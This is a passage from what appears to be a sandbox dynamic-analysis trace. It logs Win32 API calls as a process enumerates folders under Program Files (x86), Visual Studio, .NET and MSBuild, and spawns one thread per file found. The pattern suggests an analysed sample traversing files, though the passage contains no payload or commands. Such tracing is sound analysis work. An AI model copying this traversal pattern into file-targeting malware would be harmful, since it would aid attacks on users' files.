cFileName="Packages", cAlternateFileName="")) returned 0 [0097.304] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0097.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60f50) returned 1 [0097.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e490) returned 1 [0097.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 Thread: id = 167 os_tid = 0x7c4 [0086.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85e510 [0086.349] wcscpy (in: _Dest=0x1b85e510, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0086.349] wcscat (in: _Dest=0x1b85e510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\" [0086.349] wcscat (in: _Dest=0x1b85e510, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*" [0086.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0086.349] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86130 [0086.349] wcscmp (_String1=".", _String2=".") returned 0 [0086.350] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.350] wcscmp (_String1="..", _String2=".") returned 1 [0086.350] wcscmp (_String1="..", _String2="..") returned 0 [0086.350] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.350] FindClose (in: hFindFile=0x1cd86130 | out: hFindFile=0x1cd86130) returned 1 [0086.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0086.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0086.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 Thread: id = 168 os_tid = 0x7d0 [0086.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0086.359] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0086.359] wcscat (in: _Dest=0x1b79d970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0086.359] wcscat (in: _Dest=0x1b79d970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*" [0086.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0086.359] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86130 [0086.362] wcscmp (_String1=".", _String2=".") returned 0 [0086.362] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.362] wcscmp (_String1="..", _String2=".") returned 1 [0086.362] wcscmp (_String1="..", _String2="..") returned 0 [0086.362] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0086.362] wcscmp (_String1="Bin", _String2=".") returned 1 [0086.362] wcscmp (_String1="Bin", _String2="..") returned 1 [0086.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e510 [0086.362] wcscpy (in: _Dest=0x1b85e510, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0086.362] wcscat (in: _Dest=0x1b85e510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0086.362] wcscat (in: _Dest=0x1b85e510, _Source="Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0090.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0090.507] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0090.508] FindClose (in: hFindFile=0x1cd86130 | out: hFindFile=0x1cd86130) returned 1 [0090.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0090.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0090.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 Thread: id = 169 os_tid = 0x5ac [0086.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85c840 [0086.369] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0086.369] wcscat (in: _Dest=0x1b85c840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0086.369] wcscat (in: _Dest=0x1b85c840, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0086.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0086.369] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86190 [0086.372] wcscmp (_String1=".", _String2=".") returned 0 [0086.372] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.372] wcscmp (_String1="..", _String2=".") returned 1 [0086.372] wcscmp (_String1="..", _String2="..") returned 0 [0086.372] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0086.372] wcscmp (_String1="adodb.dll", _String2=".") returned 1 [0086.372] wcscmp (_String1="adodb.dll", _String2="..") returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0086.372] wcscmp (_String1="Microsoft.mshtml.dll", _String2=".") returned 1 [0086.372] wcscmp (_String1="Microsoft.mshtml.dll", _String2="..") returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0086.372] wcscmp (_String1="Microsoft.stdformat.dll", _String2=".") returned 1 [0086.372] wcscmp (_String1="Microsoft.stdformat.dll", _String2="..") returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0086.373] wcscmp (_String1="msdatasrc.dll", _String2=".") returned 1 [0086.373] wcscmp (_String1="msdatasrc.dll", _String2="..") returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0086.373] wcscmp (_String1="stdole.dll", _String2=".") returned 1 [0086.373] wcscmp (_String1="stdole.dll", _String2="..") returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0086.373] FindClose (in: hFindFile=0x1cd86190 | out: hFindFile=0x1cd86190) returned 1 [0086.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0086.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783cb0) returned 1 Thread: id = 170 os_tid = 0x700 [0086.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e2c0 [0086.377] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0086.378] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0086.378] wcscat (in: _Dest=0x1b86e2c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0086.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0086.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86190 [0086.383] wcscmp (_String1=".", _String2=".") returned 0 [0086.383] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.383] wcscmp (_String1="..", _String2=".") returned 1 [0086.383] wcscmp (_String1="..", _String2="..") returned 0 [0086.383] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1 [0086.383] wcscmp (_String1="AssemblyList_4_client.xml", _String2=".") returned 1 [0086.384] wcscmp (_String1="AssemblyList_4_client.xml", _String2="..") returned 1 [0086.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad5c0 [0086.384] wcscpy (in: _Dest=0x1b7ad5c0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0086.384] wcscat (in: _Dest=0x1b7ad5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0086.384] wcscat (in: _Dest=0x1b7ad5c0, _Source="AssemblyList_4_client.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0090.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0090.510] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1 [0090.510] wcscmp (_String1="AssemblyList_4_extended.xml", _String2=".") returned 1 [0090.510] wcscmp (_String1="AssemblyList_4_extended.xml", _String2="..") returned 1 [0090.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7add40 [0090.510] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0090.510] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0090.510] wcscat (in: _Dest=0x1b7add40, _Source="AssemblyList_4_extended.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0090.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7add40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0090.511] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 0 [0090.511] FindClose (in: hFindFile=0x1cd86190 | out: hFindFile=0x1cd86190) returned 1 [0090.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0090.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0090.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 Thread: id = 171 os_tid = 0x734 [0086.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd861f0 [0086.386] wcscpy (in: _Dest=0x1cd861f0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0086.386] wcscat (in: _Dest=0x1cd861f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0086.386] wcscat (in: _Dest=0x1cd861f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0086.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd616a0 [0086.386] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86250 [0086.387] wcscmp (_String1=".", _String2=".") returned 0 [0086.387] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.387] wcscmp (_String1="..", _String2=".") returned 1 [0086.387] wcscmp (_String1="..", _String2="..") returned 0 [0086.387] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0086.387] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1 [0086.387] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1 [0086.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad660 [0086.387] wcscpy (in: _Dest=0x1b7ad660, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0086.387] wcscat (in: _Dest=0x1b7ad660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0086.387] wcscat (in: _Dest=0x1b7ad660, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0097.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0097.409] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0097.409] FindClose (in: hFindFile=0x1cd86250 | out: hFindFile=0x1cd86250) returned 1 [0097.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd616a0) returned 1 [0097.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd861f0) returned 1 [0097.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 Thread: id = 172 os_tid = 0x20c [0086.393] GetFileAttributesW (lpFileName="C:\\Program Files 